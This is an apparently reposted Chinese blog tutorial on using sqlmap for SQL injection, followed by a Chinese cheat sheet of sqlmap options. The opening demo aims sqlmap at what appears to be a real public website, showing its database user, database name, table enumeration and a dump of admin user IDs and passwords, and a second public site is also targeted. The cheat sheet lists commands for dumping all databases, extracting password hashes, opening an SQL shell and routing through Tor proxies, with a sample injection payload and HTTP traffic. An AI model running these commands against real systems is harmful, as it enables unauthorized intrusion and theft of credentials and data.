欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  科技

sqlmap 简单mysql注入演示[附截图]

程序员文章站 2022-08-26 17:03:36
sqlmap 简单mysql注入演示[附截图]...
安装教程百度一下就有了.
首先下载需要的文件,如果是windows环境直接到下载安装所需要的文件即可。
看大牛的视频,学习一下,附上截图....算是转载吧...只是为了分享一下..

下边是实例:

sqlmap.py -update  更新

-h                  help 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "mysql" --current-user

/*  注解:获取当前用户名称

current user:    'root@localhost'

sqlmap 简单mysql注入演示[附截图]

   sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "mysql" --current-db

  /*当前数据库

current database:    'wepost'

sqlmap 简单mysql注入演示[附截图]

 sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "mysql" --tables  -d "wepost"

sqlmap 简单mysql注入演示[附截图]

 

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "mysql" --columns 

-t "admin" -d "wepost"

sqlmap 简单mysql注入演示[附截图]

sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --dbms "mysql"  --dump  -c "userid,password"  -t "admin" -d "wepost" -v 0      /*获取字段里面的内容

sqlmap 简单mysql注入演示[附截图]

sqlmap 简单mysql注入演示[附截图]

sqlmap简单中文说明

更新
svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 1 --sql-shell //执行sql语句
sqlmap.py -u "http://www.islamichina.com/hotelinchina.asp?cityid=2&m=1" -v 5 //更详细的信息
load options from a configuration ini file
sqlmap -c sqlmap.conf

使用post方法提交
sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/post_int.php" --method post --data "id=1"
使用cookies方式提交,cookie的值用;分割,可以使用tamperdata来抓cookies
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/cookie_int.php" --cookie "id=1" -v 1
使用referer欺骗
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --referer "http://www.google.com" -v 3
使用自定义user-agent,或者使用随机使用自带的user-agents.txt
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --user-agent "mozilla/4.0 (compatible; msie 7.0; windows nt 5.1)" -v 3
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 -a "./txt/user-agents.txt"
使用基本认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1" --auth-type basic --auth-cred "testuser:testpass" -v 3
使用digest认证
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1" --auth-type digest --auth-cred "testuser:testpass" -v 3
使用代理,配合tor
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:3128"
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --proxy "http://192.168.1.47:8118"
使用多线程猜解
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 1 --current-user --threads 3
绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 1 -p "id
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -p "cat,id"
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
指定数据库,绕过sqlmap的自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --dbms "postgresql"
* mysql
* oracle
* postgresql
* microsoft sql server
指定操作系统,绕过sqlmap自动检测
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -v 2 --os "windows"
* linux
* windows
自定义payload
options: --prefix and --postfix
in some circumstances the vulnerable parameter is exploitable only if the user provides a postfix to be appended to the injection payload. another scenario where these options come handy presents itself when the user already knows that query syntax and want to detect and exploit the sql injection by directly providing a injection payload prefix and/or postfix.
example on a mysql 5.0.67 target on a page where the sql query is: $query = "select * from users where id=('" . $_get['id'] . "') limit 0, 1";:
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "and 'test'='test"
[...]
[hh:mm:16] [info] testing sql injection on get parameter 'id' with 0 parenthesis
[hh:mm:16] [info] testing custom injection on get parameter 'id'
[hh:mm:16] [traffic out] http request:
get /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20and%207433=7433%20and%20
%28%27test%27=%27test http/1.1
accept-charset: iso-8859-15,utf-8;q=0.7,*;q=0.7
host: 192.168.1.121:80
accept-language: en-us,en;q=0.5
accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
user-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
connection: close
[...]
[hh:mm:17] [info] get parameter 'id' is custom injectable
[...]
as you can see, the injection payload for testing for custom injection is:
id=1%27%29%20and%207433=7433%20and%20%28%27test%27=%27test
which url decoded is:
id=1') and 7433=7433 and ('test'='test
and makes the query syntatically correct to the page query:
select * from users where id=('1') and 7433=7433 and ('test'='test') limit 0, 1
in this simple example, sqlmap could detect the sql injection and exploit it without need to provide a custom injection payload, but sometimes in the real world application it is necessary to provide it.
页面比较
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --string "luther" -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --regexp "<td>lu[\w][\w]er" -v
排除网站的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1" --excl-reg "dynamic content: ([\d]+)"
多语句测试,php内嵌函数mysql_query(),不支持多语句
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --stacked-test -v 1
union注入测试
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --union-test -v 1
unionz注入配合orderby
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1" --union-test --union-tech orderby -v 1
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 --union-use --banner
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" -v 5 --union-use --current-user
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_partialunion.php?id=1" -v 1 --union-use --dbs
fingerprint
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" -v 1 -f
python sqlmap.py -u "http://192.168.123.36/sqlmap/get_str.asp?name=luther" -v 1 -f -b
判断当前用户是否是dba
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --is-dba -v 1
列举数据库用户
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --users -v 0
列举数据库用户密码
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --passwords -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --passwords -u sa -v 0
查看用户权限
python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1" --privileges -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --privileges -u postgres -v 0
列数据库
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dbs -v 0
列出指定数据库指定表的列名
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --columns -t users -d test -v 1
列出指定数据库的指定表的指定列的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump -t users -d master -c surname -v 0
指定列的范围从2-4
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump -t users -d test --start 2 --stop 4 -v 0
导出所有数据库,所有表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --dump-all -v 0
只列出用户自己新建的数据库和表的内容
python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1" --dump-all --exclude-sysdbs -v 0
sql query
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" --sql-query "select usename from pg_user" -v 0
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" --sql-query "select host, password from mysql.user limit 1, 3" -v 1
select usename, passwd from pg_shadow order by usename
保存和恢复会话
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 -s "sqlmap.log"
保存选项到inc配置文件
python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1" -b -v 1 --save

相关标签: 注入演示 sqlmap